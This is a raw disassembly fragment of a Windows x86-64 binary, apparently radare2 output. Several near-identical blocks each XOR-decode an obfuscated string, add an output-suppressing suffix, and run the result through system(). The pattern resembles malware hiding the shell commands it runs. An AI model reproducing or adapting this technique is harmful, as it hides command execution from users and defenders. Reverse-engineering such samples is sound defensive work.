lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400464d1
cmp r8d, 0x2d
jge 0x1400465ff
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400465d0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x198]
call fcn.1400490d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004684f
mov r8d, r13d
cmp r15d, 2
jl 0x140046812
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046721
cmp r8d, 0x2d
jge 0x14004684f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140046820
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x199]
call fcn.140049110
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140046a9f
mov r8d, r13d
cmp r15d, 2
jl 0x140046a62
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046971
cmp r8d, 0x2d
jge 0x140046a9f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140046a70
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x19a]
call fcn.140049150
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140046cef
mov r8d, r13d
cmp r15d, 2
jl 0x140046cb2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046bc1
cmp r8d, 0x2d
jge 0x140046cef
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140046cc0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x19b]
call fcn.140049190
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140046f3f
mov r8d, r13d
cmp r15d, 2
jl 0x140046f02
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046e11
cmp r8d, 0x2d
jge 0x140046f3f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140046f10
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x19c]
call fcn.1400491d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004718f
mov r8d, r13d
cmp r15d, 2
jl 0x140047152
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140047061
cmp r8d, 0x2d
jge 0x14004718f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140047160
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x19d]
call fcn.140049210
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400473df
mov r8d, r13d
cmp r15d, 2
jl 0x1400473a2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400472b1
cmp r8d, 0x2d
jge 0x1400473df
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400473b0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x19e]
call fcn.140049250
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004762f
mov r8d, r13d
cmp r15d, 2
jl 0x1400475f2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140047501
cmp r8d, 0x2d
jge 0x14004762f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140047600
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x19f]
call fcn.140049290
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004787f
mov r8d, r13d
cmp r15d, 2
jl 0x140047842
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140047751
cmp r8d, 0x2d
jge 0x14004787f
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140047850
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a0]
call fcn.1400492d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140047acf
mov r8d, r13d
cmp r15d, 2
jl 0x140047a92
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
